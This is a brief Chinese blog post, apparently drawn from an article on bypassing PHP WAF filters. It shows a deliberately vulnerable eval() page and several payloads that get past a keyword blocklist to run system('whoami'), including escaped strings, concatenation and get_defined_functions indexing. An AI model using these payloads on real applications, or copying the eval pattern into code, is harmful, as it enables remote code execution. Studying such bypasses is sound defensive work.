来自一篇很有意思的文章:How To Exploit PHP Remotely To Bypass Filters & WAF Rules


扫一下尘。。233

首先来一段简易 WAF:

1
2
3
4
5
6
7
<?php
if(preg_match("/system/i",$_GET['code'])){
echo "invalid syntax";
}else{
eval($_GET['code']);
}
?>

当然我知道,还有别的方法执行命令,这里讨论如何绕过 system

我们知道(或许你刚刚才知道的),在 php 中可以这么表达一个字符串:

1
2
3
4
5
<?php
$a = "\x61";
$b = "\141";
$c = "\u{0061}"; // 这里个 {}
?>

以上三个都能表示 a 这个字符。所以在这里我们可以这么绕过:
system = \x73\x79\x73\x74\x65\x6d(这里转)

于是我们就可以提交:code = "\x73\x79\x73\x74\x65\x6d"('whoami');

然后我们升级一下:
(preg_match("/system|\"|'/i",$_GET['code']))

这次我们过滤了单双引号,我们上一个 payload 在这里就行不通了。

但是我们又知道,在 PHP 中还可以这么表示字符串:

1
2
$a = (a);
$b = (string)a;

当然,目前我们还是不能执行 system,我们可以用一下 php 中的字符串连接符(.):

(sy.(s).tem)

于是我们的第一个 payload 诞生了:
(sy.(s).tem)(whoami);

虽然会有一些报错,但好在还是执行了。。


我们换个思路来玩玩:get_defined_functions

这个函数执行一下就知道了。会返回 php 中已经定义了得函数,包括内部的。自然,也有 system

这是个二维数组,内部函数在 internal 这个数组中。我执行了一下,system 在我这得下标是 355。于是第三个 payload 如下:

(get_defined_functions()[internal][355])(whoami);

当然还有个更简单的:

?a=system&code=$_GET[a](whoami);

此外我们还可以利用类似:

file_get_contents(substr(__FILE__,0,-19)); 然后再 substr 获取里面的内容来拼接。。这里的 __FILE__ 会多出来一些字符,所以用 substr 截断一下。

当然到这里我已经不知道有什么用了。。但觉得有意思就写下来了。。当作扫扫灰吧。。。